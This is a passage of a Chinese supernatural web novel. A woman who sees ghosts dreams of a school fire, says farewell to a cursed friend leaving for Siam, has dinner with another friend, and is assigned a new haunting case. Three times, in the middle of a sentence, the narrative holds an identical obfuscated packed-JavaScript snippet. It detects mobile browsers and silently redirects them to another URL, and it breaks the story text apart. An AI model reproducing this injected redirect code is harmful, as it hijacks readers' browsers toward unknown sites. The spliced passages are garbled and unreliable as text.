“我目前还好啦，只是要离开一段时间，我妈正好认识一个暹罗的大师，听说他很灵的，我不在的时间，你要照顾好自己，有事就联系小敏。” “都这个时候了，你还为我担心，我肯定会照顾好自己的，反而是你……” 靳尤白勉强笑了笑，“我们商量好了，后天就要出发，爸爸听说了我的事，一直哭个不停，我现在得赶紧回家。” “嗯。” …… 离开公司的时候，天已经完全亮了，纪明霜干脆直接给主管发信息请假，回到公寓之后，小陈哥迎了上来，“怎么样，怎么样？” 纪明霜把包包丢在门口的置物架上：“不怎么样。” “那个小姑娘怎么样了，她还好吗？” 纪明霜说，“平安无事。” “哟，那你很厉害嘛。” 纪明霜说，“……你想多了。” 小陈哥离开之后，纪明霜换上睡衣，躺在床上，拿起手机，看到主管给她回复了消息，“收到，好好休息！” 纪明霜把手机扔到床的另一边，把自己埋进柔软的被子里，身上好累，眼睛好酸，脑子也被糊住了，她现在真的好累啊…… 大概这就是身心俱疲的感觉吧…… “林然……” “嗯。” “……晚安。” “行啦，别没话找话了，你太累了，好好睡吧，有什么事等醒来再说。” 纪明霜也是这么想的，但是她又做梦了。 她睁开眼，发现自己正站在报告厅的门口，从门口的海报来看，这里即将举行一场学术会议。海报上写着，这次会议在树莓中学举办，由树莓大学和另外三所合作院校合办，有四位专家来进行学术报告和展示研究成果。 纪明霜试着推了推门，没推开。 “纪明霜，这个门是要拉开的……你怎么每次都这样。”林然出现在她身边，帮她把门打开，“怎么样，要进去吗？” “嗯。” 纪明霜走了进去，这个报告厅的面积很大，整体色调是明亮的浅黄色，层层阶梯缓缓向下延伸，座椅是浅黄色，座垫是暖红色。这里还没有人入座，只有几个穿着私立高中制服的学生在帮忙打扫和布置会场，纪明霜沿着阶梯走了下去，“嗯……根据我的经验，坐在最前排和最后排的人最占先机，但我肯定不会坐在最前排，所以只能坐在最后排了……” “所以呢？” 纪明霜沿着报告厅的侧面跑了下去，“我在想，我期待的事情会不会发生……” 林然，“可是会议还没开始呢……” “没关系嘛，反正是在做梦。” 通过报告厅侧面的楼梯，纪明霜跑到了报告厅左侧面的点心台前，这里放着两张长长的桌子，左边的那张桌子上摆了各种点心，首先是可爱的纸杯蛋糕，奶油上面撒着巧克力豆，还放着一个新鲜的大草莓，此外，还有抹茶和巧克力口味的切角蛋糕，上面放着嫩绿色的黄金柳芽做装饰。 “会议间隙的茶歇时间太短了，和我一样混吃混喝的学生又很多，我每次都得每一时间拿到盘子，从来没有机会像现在这样，一边聊天一边慢慢挑选。”纪明霜拿了两个大盘子，递给林然一个，“不用客气，尽情地吃吧。” 林然看了看这些甜点，“也太甜了吧……” “过来做报告的教授也是这么说的……”纪明霜说，“我想，这里应该是我的梦境吧，有点熟悉又有点新奇的感觉，也许我们会有什么收获也说不定呢！” “也许吧……” 纪明霜继续往前走去，“哇，这个棕叶上放着的黄色小熊好可爱啊，好Q弹，是布丁！” 纪明霜用木制夹子夹了一只小熊，“林然，你要来一只吗？” 林然：“纪明霜，你再晃那只熊，它的头就掉了。” 纪明霜赶紧小心地把小熊放进了自己的盘子里，而后继续慢悠悠地走着，“咦，这个草莓搪瓷杯还有这么多，草莓上撒的白白的东西是什么？” “是糖霜，想吃就拿一个吧。” 纪明霜说，“哼哼，这个很抢手的，平时拿到一个都很困难，所以我这次要拿两个！” 纪明霜往自己的盘子里又放了两个草莓搪瓷杯，这种甜点其实很小，并不怎么占地方……大概。 之后，纪明霜又拿了几块焦糖饼干，而后去了另一张长桌子前，这里多是些水果，还有一些酸奶碗。 “这些水果切得好漂亮，当然，摆得也很漂亮。”纪明霜又拿了几个草莓，以及一小串葡萄，最后又拿了一小份撒着花生碎的很浓很香的原味酸奶，以及一小包白砂糖，她坐到用餐的椅子上，小小地尝了一口，“果然和我想象中的一样好吃。” 林然坐在她的旁边，他的盘子里空无一物，纪明霜慷慨地把她的草莓搪瓷杯分给他一个，“来吃一个嘛。” “你的情绪还是很低落。”林然说。 纪明霜用叉子叉起一只草莓，“的确如此……我在想，不知道那位泰国的大师怎么样，她说那位大师很厉害，她应该会平安无事吧。” 林然说，“你和她见面的时候可以再具体问问，但是，那样强的怨气，也不知积累了多久……” 纪明霜沉默了一会儿，“上百年？” “不无可能。” 纪明霜说，“那还真是字面意义上的‘积怨已久’。” “行了，吃你的东西吧。” 纪明霜用叉子叉起了小熊的头，用准备一口吃掉，突然听到了远远传来了叫喊声，“着火啦！” 纪明霜站了起来，她周围的场景瞬间开始坍塌，她目之所及的一切开始逸散，周围的墙壁聚拢了过来，一个女孩的身影直直地撞进了她的怀里，把她撞在了地上，纪明霜又回到了当初的那个杂物间里，灰尘和烟气的味道呛得她不停地咳嗽，“咳咳，怎么回事，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419862|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只吃了一口啊……林然，你在吗？” 林然一把抓住她的手，把她从杂物间里拉了出来，楼道的烟尘不算多，纪明霜总算能正常呼吸了，“林然，刚刚的那个女生……” “什么？” 纪明霜回头，看到那个女生正从杂物间里爬出来，她似乎正在说着什么，但是纪明霜听不清，她被林然拉着下了楼。 杂物间是在二楼，报告厅是在一楼，这是因为梦里的时空错乱了吗？ 这栋楼的一层有两扇门，前门是大门，夜晚才锁着，后门是小门，经常不开门，林然拉着她从后门跑了出去，这里没什么人，只能远远听到前门那边传来的喧嚣的人声、火焰爆燃的声响，还有呼呼的风声。 纪明霜反客为主，拉着林然往前门的方向跑，前门这边站满了人，消防员还没到，他们正自发地救火，但火势已经失去控制了，她能看到窗户里明显的火光，还有浓浓的黑烟被狂风席卷，她拉着林然混入人群之中，这里都是些看不清面容的面孔，这里的高中生并不多，今天是休息日，只有少量的高中学生过来帮忙当志愿者。 纪明霜在人群中走着，突然，林然不见了，她张目四望，周围都是些长得乱七八糟的人，他们推推搡搡，把纪明霜挤到了前方，纪明霜在这里遇到了一个意料之外的人。 ——靳尤白。 她当时也在这里？ 比起这个，更令纪明霜在意的是，原来在那个时候，她的身上就已经有黑雾弥漫了啊…… 靳尤白看上去狼狈极了，她的衣服上沾了好几块灰黑色的印子，脸上也有被烟熏出的痕迹，头发蓬乱不说，发尾似乎被火燎过，手上脚上也有不少擦伤，此时正跪坐在地上，不停地抹眼泪，纪明霜很想给她擦擦眼泪，但她碰不到她，只能坐在她的身边，看着她用手机不停地重复拨打一个号码。 但对方始终没有接听。 这时的靳尤白还是个学生，素面朝天，穿着另一所学校的制服，她害怕极了，手一直在抖，慌张得不像样。 过了一段时间，靳尤白身上的黑雾消失了，她也等到了想见的人——靳尤真女士，看到对方平安无事，她正准备小跑过去，却被一个男人拉住了。那个男人对她说了什么，她的表情很是震惊，最终，她还是点了点头，而后才回到了靳尤真女士身边。 纪明霜很想跟上去，但是她醒了。 她拿出手机，看了一眼时间，已经是下午四点了。 “……我居然睡了这么久？”纪明霜迷迷糊糊地爬了起来，“林然，我好饿啊。” “既然醒了，就吃点东西吧。” “我不想吃速食食品了……” “那你还只买速食食品。” 纪明霜笑了笑，“林然，我有一个发现哦，在梦境的后半段，我遇到了靳尤白，那时，她身上的黑雾比现在还要浓得多，这是不是说明，她的情况其实是在好转？” “理论上是这样。”林然说，“如果抛却时间问题不谈的话。” 纪明霜穿着拖鞋走到了客厅，“咦，这里怎么有一束花？” 林然，“不知道，我出门的时候看到这束花被放在门口，就顺手拿进来了。” 50. 第50章 告别 也就是说，林然出门的时候把放在门口的花拿回来了。 可他是只鬼啊，连实体都没有，纪明霜难以置信，难道那束花能凭空飞进来？ 林然解释道，“梦境的后半段，出了一点意外，意外解决之后，你已经出梦了。” 纪明霜说，“你也太谨慎了吧，这是我自己的梦，我想我再怎么倒霉也不至于在自己的梦境里死掉吧……” 林然：“……倒也不无可能。” 纪明霜：“喂！” “然后我就出门给你买了晚餐、点心，还有平开合叶、螺丝钉、螺丝刀和老虎钳，嗯，用你的身体。” 纪明霜：“啊？” 晚餐和点心她可以理解，不过后面这四样是干什么用的? 林然继续解释道，“你睡觉的时候，隔壁市发生了一场小地震，这里也有震感，今天的风也蛮大的，所以，嗯，窗户掉了一扇。” 纪明霜回到房间里，看向了窗户，现在的窗户看起来完好无损，“所以……掉的是哪一扇？” 林然：“离你最近的那一扇。” “哈……这么沉的窗户掉下来，我会被砸死的吧。” 林然点点头，“没错，而且在地震中心的隔壁市都没有任何伤亡，如果你出了事，那就是这场地震中唯一的受害者。” “你怎么知道这些的？”纪明霜问道。 “排队的时候顺便看了新闻。” “排队？”纪明霜又走到客厅，“咦，是我最喜欢的草莓搪瓷杯，而且有两个！” 林然坐在餐桌前，“我还买了点别的，不要总吃速食了。” 纪明霜走进厨房，看了一圈又跑出来，她坐在餐桌前，“谢谢，这些都是我喜欢吃的。” “不用客气，我用的是你的钱，账单在你手机里，我跟楼下保安借用了电动螺丝刀，已经还回去了，你先吃点零食吧，你朋友给你发了消息，别忘了及时回复。” “这样啊……用就用吧，反正最近卖符箓的收入不少，你应该给你自己也买一份嘛。”纪明霜拿出手机，打开社交软件，“靳尤白和陈欣欣都约我吃晚饭诶，那我先吃点零食吧。” 吃完甜点之后，纪明霜喝了一杯清茶，嗯，是林然买回来的，很清香，很好喝，很适合甜品。 她把那束花的花枝修剪了一下，摘掉了一些凌乱的叶子，根部斜剪四十五度之后插入了花瓶中，而后才看了那张小卡片。 这次的卡片和上次的卡片一模一样，背面依旧没有文字，正面写着七个字：送给纪明霜小姐。右下角署名的地方画了一只可爱的卡通小羊，上次的小羊是开心的笑容，这次的小羊是wink的表情，旁边还画了一个粉色的小爱心。 “林然，你有看到送花的人吗？” 林然摇了摇头，“没有。” 纪明霜去了隔壁的隔壁，这里住了四只鬼，也许有谁会看到呢，然而，无论是小陈哥、保安小哥、女鬼，还有小鬼，都没有看到送花的人。 出门的时候，纪明霜还问了楼下的兼职保安，但他也没见到人，他倒是蛮热心的，还问纪明霜有没有丢失物品，用不用查一下监控。 但纪明霜着急出门，况且只是有人送花过来，又不是什么灵异事件，没必要为此麻烦别人，她打车去了附近的一家很有名的餐厅。 纪明霜过来的时候，靳尤白已经等候多时了，纪明霜只迟到了两分钟，但靳尤白来得太早了。 看到另一位客人也到了，服务员才开始上菜，靳尤白没什么胃口，她托脸看着纪明霜，“霜霜……” 纪明霜：“嗯？” “好吃吗？” 纪明霜点点头，“好吃。” 靳尤白勉强笑了笑，“那就好。” “嗯……” 过了一会儿，靳尤白才整理好了语言，她说，“霜霜，你不要再接触这个领域了，把这份工作辞掉，把房子也退掉，我给你买一套房子，再给你买一辆车，每个月都给你打钱，如果你还有疑虑，我可以一次清付清，并且签订合同，标明是自愿赠予。” 纪明霜知道，虽然靳尤白家里很有钱，但她平时的工资和零用钱不能覆盖这样的大额支出，“你这又是何必呢……” 靳尤白说，“我就要离开了，我有点担心你……好吧，不止是有点，我很担心你。我知道你拥有特殊的能力，但这种能力对你来说是好是坏，我也不清楚，我只知道，我认识的另一个像你一样的人，现在正在精神病院。” 纪明霜：“但是……” 靳尤白打断了她，“没有但是，当然，如果你喜欢上班，我也可以给你安排一份工作。” 纪明霜：“……我并没有这样的爱好。” 靳尤白喜欢上班，是因为她是老板，但纪明霜并不喜欢上班，她只是想通过劳动获取报酬，并且经常摸鱼，仅此而已。 “那你愿意答应我吗？” 纪明霜摇摇头，“其实，我暂时还不太想改变自己的生活，你说的那些很美好，但并不适合现在的我，说起来，尤白，你是不是有事瞒着我？” 靳尤白愣了一下，“这个……” 纪明霜说，“我当然知道你有事瞒着我，我又不是傻子，但是我不在乎，因为你是我的朋友。我也想了很久，但是作为朋友，我希望我的能力能够帮助你，哪怕只有一点点。” 靳尤白说，“关于我身上的事，我也是刚刚知道的……早在我出生之前，我妈妈就接触了一些，嗯，很不好的东西，她当时平安无事，还暗自庆幸呢。但不久之后，她去医院检查身体，得知了怀孕的消息，我想，她当时一定很难过吧。” “她是在哪里接触到这些东西的？”纪明霜问道。 靳尤白没有回答，她沉默了一会儿，才说，“不过，对我来说，这是一件好事，现在想来，正因如此，我的家人才能平安吧。我从小到大一直很健康，现在突然出了这样的事，对妈妈的打击很大，不过，我有留给她一样非常珍贵的礼物哦，当然，我也有礼物留给你，别露出这么难过的表情嘛，霜霜，笑一笑嘛。” 纪明霜笑不出来。 靳尤白继续说，“我给你留了一封信，时间到了才能拆开，为了防止你偷看，我把信放在小敏那里了，我还逼她发了毒誓呢……我让她说，如果提前把信给你，或者偷偷把信拆开，那么吱吱太太就会跑路到她对家。身为她的老板，我最了解她了，这下，无论如何，她都会把信保管好的，哈哈。” 纪明霜：“嗯，这对小敏来说，真的是毒誓了。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419863|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哼，她还是个小姑娘啊，她以为我得了绝症，要飞去国外治病，哭得稀里哗啦的，搞得我……我也想哭了。”靳尤白低下了头，眼泪也掉了下来，“霜霜，我其实很害怕，我胆子很小的，连恐怖片都不敢看，你以前会害怕吗？” 纪明霜摇摇头，“忘了。” “也是……”靳尤白擦了擦眼睛，“当年的事，我很抱歉，但是不要多问了，总之，对不起。” 纪明霜突然说，“不会认错。” 靳尤白抬起了头，她完全失去了表情管理，满脸的震惊和不知所措，“什、什么？！” 纪明霜转过头看着林然，用口型说，“为什么要说这个啊……” 林然现在正坐在纪明霜旁边的椅子上，他说，“很难解释，但是如果你这么说，她可能会好一些……大概。” 靳尤白顺着纪明霜的目光看去，那里明明什么都没有啊…… 难道是……有鬼？ 不会吧…… “霜、霜霜，你能不能再说一遍，我刚刚好像没有听清。” 纪明霜看着靳尤白的眼睛，重复了一遍，“不会认错。” 靳尤白长舒了一口气，总算露出了真心的笑容，“是吗，但当时发生的事情，你根本不知道啊……还是谢谢你，我感觉好多了，霜霜，我会加油的。” 纪明霜的神情有些动容，“尤白……” “我今晚就要离开，妈妈在餐厅门口等我，时间差不多要到了……”靳尤白看了一眼手表，站了起来，“霜霜，我期待着，再次与你见面的那天。” 纪明霜也站了起来，她点了点头，“那……再见？” 靳尤白说，“我已经结过账了，你今晚都没吃多少，要不要再吃一点？” 纪明霜坐了回去。 靳尤白已经走到了包厢门口，却又折返回来，“霜霜，你最近看起来开心了好多，也有好好地照顾自己哦，我由衷地为你高兴。小敏今天告诉我，她看到你去那家店排队买甜品了，她被人流挤到一边去了，都没机会跟你打招呼……其实我想说，想做什么就去做吧，我应该更信任你的，我知道你帮助了你的同事，你拯救了她的生命，我为你骄傲，姐姐。” 纪明霜呆呆地重复，“……姐姐？” 靳尤白不顾形象地用袖子擦了擦脸，又从包里拿出一张本市连锁甜品店的购物卡，交给了纪明霜，“这是我们公司的员工福利，一张卡里好像有五百六十块左右，奖励你吃十块蛋糕。” 这次，纪明霜没有推辞，她收下了这张卡。 临别之前，靳尤白拥抱了纪明霜，“谢谢你哦，霜霜。” 纪明霜说，“其实我也想这么说……” “那……不必客气。”靳尤白又说，“不过，不要搞得像生离死别一样嘛，记得常常给我打电话哦，当然，发短信也可以。” 纪明霜点点头，“好。” 直到离开，靳尤白的那份餐品也一口没动，这么贵的一家餐厅，她连叉子都没动一下。纪明霜原本准备打包的，但是她想了想，联系了陈欣欣，请她过来吃吧。 跟服务员说明了情况之后，纪明霜去卫生间洗了把脸，这才回到了包厢里。 说明了情况之后，陈欣欣欣然应允，马上就会来赴约。 51. 第51章 涨薪 这家餐厅离陈欣欣家并不算远，过了十来分钟，陈欣欣到就了，她被服务员小姐引进了包厢，“小霜？” 纪明霜站了起来，招呼道，“欣欣，过来坐吧。” 陈欣欣把外套挂在包厢门口的衣帽架上，然后理了理裙摆，坐在了纪明霜对面的位置，她的头发剪短了很多，原先都快及腰的长发，现在只及肩了。 陈欣欣看了看包厢里的环境，“小霜，你的那个朋友已经离开了吗？” 纪明霜点点头，“嗯。” “我昨天晚上看到她的时候，感觉她的情况似乎不太好……” 纪明霜说，“确实是这样，我听说她要去暹罗，那里有一位很厉害的大师，希望她能平安无事吧……” 陈欣欣说，“希望如此。” “说起来，欣欣，你现在好些了吗？”纪明霜又问道。 陈欣欣说，“我现在还好啊，只受了点外伤，反而是我爸、我妈和我弟弟，他们都被吓坏了呢。他们突然开始求神拜佛，才半天而已，光是平安符和护身符之类的东西，就找来了四五个呢，话说，那些东西管用吗？” “我也不知道，大概……心诚则灵？” 陈欣欣也跟着笑了，“经过这件事之后，我爸妈也改变了，他们突然决定把一套房子过户到我名下，车也给我一辆，还准备给我一笔钱，阿荣居然也同意了，过两天就去办手续，我觉得我爸妈对我其实有一点愧疚的，但是……” “但是？” “但人是很难改变的，也许过一段时间，他们就会后悔了，不过，等到那个时候，我应该已经离开了吧。” “你准备去哪呢？” “我想做我专业相关的工作，但是本地没有合适的工作机会，我的同学给我介绍了树莓市的一家公司，我已经开始准备面试材料了……其实我也有考虑过出国生活，但我其实更习惯待在国内，总之，现在就是这样。” 纪明霜点点头，“说起来，唐宇呢？” “他啊……他已经离开了，他没办法继续待在人间，大概是轮回转世了吧……他就是个混蛋，差点害了别人，他以前明明是个值得依靠的人，死了之后却变了这么多……” 纪明霜说，“我也遇到过类似的情况，我认识的一个年轻保安，生前的性格有点傲慢不逊，死了之后却寡言少语的，我觉得，可能是在死亡的过程中，灵魂受到了影响。” “也许吧……”陈欣欣的神情有些落寞，“果然啊，死去的人，就再也回不来了呢……” 纪明霜看了看林然，“倒也不一定吧。” 林然：“看我干嘛？” 陈欣欣也笑了，紧接着有点不好意思，“啊，抱歉。” 纪明霜说，“没关系的，不用管他。” 陈欣欣向林然点了下头，以示礼貌，又说起了另一个话题，“说起来，还有一件好笑的事呢，我妈昨晚回家之后就哭天抢地的，她哭着对我说，这个可恶的鬼，差点害了我的女儿，还用我儿子的身体玩游戏，企图让我的儿子染上网瘾，真的是太坏了。” 纪明霜：“……啊？” 陈欣欣笑着摇了摇头，“没办法，我妈真是这么想的……” “真的是很难评价……” “没办法，我妈就是这样，我弟说啥，她都信的。”陈欣欣说，“说起来，我都没想到你会请我来这家餐厅呢，这里的人均消费真的好贵，这一顿饭，两份套餐，都够我一个月工资了呢。” 纪明霜说，“反正也是别人请我，现在可能有点凉了。” “没关系，不碍事的，这么贵的餐厅，我爸妈都不会带阿荣来吃，谢谢你愿意请我过来，就当是沾了你朋友的光啦！”陈欣欣拿起了刀叉，尝了一小口，“咦，真好吃！” 纪明霜说，“那就好。” “你也知道的，我的工资不高，攒的钱也不多，接下来有好多需要用钱的地方，我精打细算了好久，最后也没折腾出多少预算来，没想到最后是你请我吃饭……” “没关系啦，欣欣。” “所以我给你买了一份礼物哦。”陈欣欣从包包里拿出一个包装精美的盒子，她把盒子放到了纪明霜的面前，“一定要收下啊！” 纪明霜接过了盒子，“这个……我现在可以打开吗？” “当然可以啦！” 纪明霜打开了盒子，里面是一条蓝宝石项链，这颗蓝宝石并不算大，颜色却非常漂亮，浓郁又纯正，在包厢灯光的映照下，周围簇拥着一圈小小的碎钻也闪闪发光，“好漂亮……” “小霜喜欢就好，我挑了好久呢。”陈欣欣说，“我已经辞职了，下周就要离开这里，开启我的新生活了，小霜，谢谢你，如果没有你的话，也许我已经死掉了，我爸妈，还有我弟弟，最近都一副受惊过度的模样，但我其实不怎么害怕呢。” 纪明霜把盒子收了起来，“咦？” “在车上的时候，妈妈撕了那张符箓，之后我一直在做梦，那些梦真的好可怕，我一直都醒不过来，但是梦里有小霜啊……”陈欣欣一边吃着晚餐，一边说，“我当然知道，那不是真正的你，但是只要有你在，哪怕是虚假的你，那些噩梦就算不上是‘最可怕’了。” 纪明霜认真地说，“那是因为你很勇敢啊。” “谢谢你哦，小霜。”陈欣欣有点想哭，又努力露出一个笑脸，“在我心里，你永远是我的好朋友。” …… 回到家里之后，纪明霜还是有些伤感，靳尤白要离开了，陈欣欣要辞职了，她周围的活人越来越少了。 不过，看到餐桌上放着的另一个草莓搪瓷杯，纪明霜的心情又稍微好了一点。 一切都会好起来的。 纪明霜一边吃甜品，一边看手机，这时，道长给她发了一条消息。 一路平安（道长）：小纪，在吗？ 霜（纪明霜）：在的。 一路平安（道长）：我这里有一个好消息和一个坏消息，你想先听哪个？ 霜（纪明霜）：坏消息吧…… 一路平安（道长）：符箓要涨价了。 幸亏不是非常坏的消息，纪明霜回复道：涨多少？ 一路平安（道长）：涨五倍。 霜（纪明霜）：涨了好多…… 一路平安（道长）：这是有原因的。 一路平安（道长）：你不想听听好消息吗？ 霜（纪明霜）：愿闻其详。 一路平安（道长）：这是因为制作符箓的工艺升级了。 一路平安（首长）：这么说吧，我最近才知道，我给你的那张‘原版符箓’，其实是金光符箓的仿制版，也就是说，我卖给你的批发符箓，是金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419864|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光符箓仿制版的仿制版。 一路平安（道长）：更坑的是，那张‘原版符箓’，唉，我都不想多说，你爸当年的画符技术真他喵的烂，居然画成了那个鬼德行。 一路平安（道长）：总之，我现在拿到了金光符箓的高清扫描版文件，可以进行一些更加细致，更加还原的制作工作。此外，我还升级了符箓的制作工艺，我估摸着，新版符箓比旧版符箓，效用高出十倍不止。 霜（纪明霜）：那很好啊！ 一路平安（道长）：那当然了，看在你爸妈的份上，我会给你最优惠价。 一路平安（道长）：总之，就这样吧，我接下来要去一趟白黎山，出发之前，我先给你寄两张新版符箓过去。 一路平安（道长）：你省着点用啊，别批发出去了，好歹给自己留一张啊，万一有什么不时之需。 霜（纪明霜）：嗯嗯好的。 霜（纪明霜）：定金已付。 一路平安（道长）：收到。 今天休息了一天，又吃了美味的晚餐和额外的甜品，纪明霜恢复了精神，难得有心情出门散步，她出去逛了一圈，买了一些生活用品，还给小陈哥他们买回一副麻将，她早早上床睡觉的时候，还能听到隔壁的隔壁传来小陈哥他们的欢呼声。 第二天去公司打卡之后，纪明霜才发现，陈欣欣的工位已经被清空了，纪明霜办公室的阿姨也知道了部分真相，心里过意不去，还托纪明霜给陈欣欣转发了一个红包。 此外，办公室的阿姨、对门的阿姨、主管还有孙才先后过来，一共向纪明霜买走了五张旧版符箓。 纪明霜今天没什么工作，于是开始悠闲地摸鱼，上午十点半左右，领导才来到公司，他把纪明霜叫到了办公室里，纪明霜有点忐忑，领导有事找她，是问前天晚上在公司里发生的事，还是她今天早上肆无忌惮摸鱼的事？ 然而，都不是。 领导的办公室里，大师和弟子也来了，此外，还有一个穿得灰扑扑的中年男人，他见了纪明霜，立刻认了出来，“是你？” 纪明霜完全没有认出他来，“呃……你是？” “我家住在灰灰公寓附近，那边的绿化不错，我经常过去遛狗，那天也不知道是怎么回事，那只狗一边走，一边尿，正好被你给看见了，你当时还问我来着。” 纪明霜恍然大悟，“哦，是你啊，你没带狗，我都没认出来。” “唉，没办法，最近家里出了事，就连狗也跑丢了。”那个男人叹了口气，又对弟子说，“那个，她这么年轻，看上去不怎么靠谱啊……” 弟子抢着说，“不要以貌取人啊，她止不定比我师父还靠谱呢。” 大师没好气地敲了弟子的脑袋，“臭小子，说什么呢！” 弟子捂着头，“我就这么一说嘛……况且人家确实是有真本事的。” 领导对纪明霜说，“小纪，你这一周就不用来公司打卡了，他是我的远方表亲，最近……嗯，遇到了一些困难，希望你能帮帮忙，嗯，就是这样。” 纪明霜：“这个……” 领导又补充道，“尽你所能就好，千万注意安全，还有，事情解决之后，我会给你涨薪。” 等等…… 涨薪？ 涨薪！ 于是，纪明霜非常市侩地同意了。 52. 第52章 徐阳 把工作安排好之后，领导和大师聊得很投机，弟子也时不时地接话、捧哏，办公室里充满了快活的空气。 遛狗的大叔心里有事，没有说话，纪明霜端坐在办公室的简约商务接待沙发上，完全插不进话，也是一言不发。 过了一会儿，孙才进来了，他跟领导汇报了工作，又给所有人倒了茶水。十一点左右，领导下班了，他背着手晃晃悠悠地离开了办公室，大叔清了清嗓子，“那我们现在……” 弟子抢话道，“叔，差不多时间了，大家就散了吧，今天下午三点，咱们在公司门口集合，怎么样？” 大叔明显有些心急，但他自己也知道，事到如今，急也没用，他点点头，“行吧。” 弟子说，“好，那就这样吧，对了，纪、纪姐，我有点事耽搁一下，你能等我一会儿吗？” 他明显是有话想对她说，纪明霜点了点头，“好。” 众人离开之后，孙才开始收拾领导办公室，他把用过的一次性纸杯摞在一起，纪明霜也过去帮忙，孙才看了门口一眼，说，“行啦，小纪，我一个人来就行，有人正在等你呢。” 纪明霜看向门口，大师的弟子正站在门口等她。 纪明霜走了出去，大师和弟子都没走，楼道里不方便谈话，三人去了小会议室。 弟子说，“纪姐，你好，我叫徐阳，这是我师父，姓高，别人都叫他高大师。” 高大师笑咪咪地点了点头。 纪明霜也做了简单的自我介绍，徐阳继续说道，“我师父是个暴发户，没别的，就是钱多，干这行完全是为了个人爱好，我嘛……我家有钱，不想上班，但我有个很喜欢的女朋友，她对这方面很感兴趣，所以我就跟着师父混了。我们之前调查过很多灵异事件，但能见到鬼的事件少得可怜，前天的那次，才是第三次……” 纪明霜点点头：“嗯。” 徐阳继续说，“我们之前过来，完全是因为我表哥，对了，我表哥就是你们大领导。” 纪明霜：“原来是领导亲戚，失敬失敬！” “纪姐不用客气。”徐阳又说，“今天的那个大叔姓张，他是我表嫂的亲戚，最近遇到一些麻烦，就来找我表哥帮忙嘛，那个时候我也在，就顺嘴推荐了你……那个，我也没说别的，就是说你胆大心细，沉着冷静，然后我表哥就把你叫过来了……” 纪明霜说，“原来是这样啊……” “其实我估摸着，我表哥也没指望你能帮上忙，因为这件事实在是太难办了，他最近正为这件事发愁呢。把你叫过来帮忙，有用没用不重要，至少能跟老婆交待了，我表哥很怕我表嫂的。”徐阳挠了挠头，“我、我就是想说，不用有太大压力，就当是放个假了，不用打卡也挺好的，反正我表哥对你也没啥期待，他就是想交个差。” 纪明霜点点头：“嗯嗯。” 徐阳的神情有点扭捏，“那、那就行了，还有就是……” 纪明霜，“还有就是？” “还有就是，今天下午，我女朋友也要过来，我、我昨天跟她吹了点牛，纪、纪姐，你是我姐，你能不能行行好，不要拆穿我。” 纪明霜哭笑不得，“这倒是没问题，但这也不是长久之计啊……” 徐阳立刻伸出三根手指发誓，“我、我保证，下次绝对不再犯了！” 纪明霜：“好吧……” 徐阳又说道，“还有就是……” 高大师：“不是，你小子有完没完了，耽误人家吃午饭了都。” 徐阳拿出手机看了一眼时间，语速变快了很多，“还是最后一件事，我女朋友有点莽，又大大咧咧的，要是真有啥危险，一定提前告诉我，好歹让我护住她……” 纪明霜重新打量了徐阳，真是看不出来，这小子居然还挺纯爱的，“行，我尽量。” 徐阳说，“嘿嘿，谢谢纪姐。” …… 中午回去之后，纪明霜和林然一起吃了午饭，睡了午觉，睡醒之后，慢悠悠地去了公司。 公司门口已经有一辆黑色的六座商务专车在等候了，纪明霜知道这辆车是来接她的，因为徐阳正打开车窗向她招手，“纪姐，纪姐，这里！” 上车之后，纪明霜才发现，车上只差她一个人了，她看了看手机，嗯，距离三点还有五分钟。 车上的乘客有：正在开车的高大师、坐在副驾驶满面愁容的张大叔，徐阳、徐阳的女朋友阿依、还有纪明霜和林然。 徐阳个子高高的，长相也很阳光，阿依则是个可爱的姑娘，脸蛋还有点婴儿肥，两人站在一起还蛮相配的。大概是听说过纪明霜的事迹，阿依对纪明霜很是热情，“纪姐你好，我是阿依，你要喝水吗，喝汽水还是果汁？” 纪明霜：“不用了……” 徐阳：“纪姐喝一点嘛，车里怪热的呢。” 纪明霜：“那……汽水吧？” 阿依给纪明霜拿来一瓶玻璃瓶装的橙子汽水，“给。” 纪明霜：“谢谢。” 大概是后座的三个人太不务正业了吧，阿依给纪明霜拿了一包薯片，徐阳给纪明霜拿来一份打包好的烤肠，简直就像出来郊游的小学生，张大叔重重地叹了口气。 高大师扭头看了他一眼，“别唉声叹气的了，也许事情能搞定呢。” 张大叔继续叹气，“唉……我哥的事，直到现在，我都没有头绪。我和我哥住在一个小区，他家在十三号楼，我家在十四号楼，就是这么近，那天早上，我还看见他了呢，我跟他打了招呼，他还约我去喝酒，然后我就去上班了。快中午的时候，我妈给我打电话，说我哥突然疯了，我当时完全不敢相信，但是回家之后，我就看到……” 高大师说，“你就看到？” 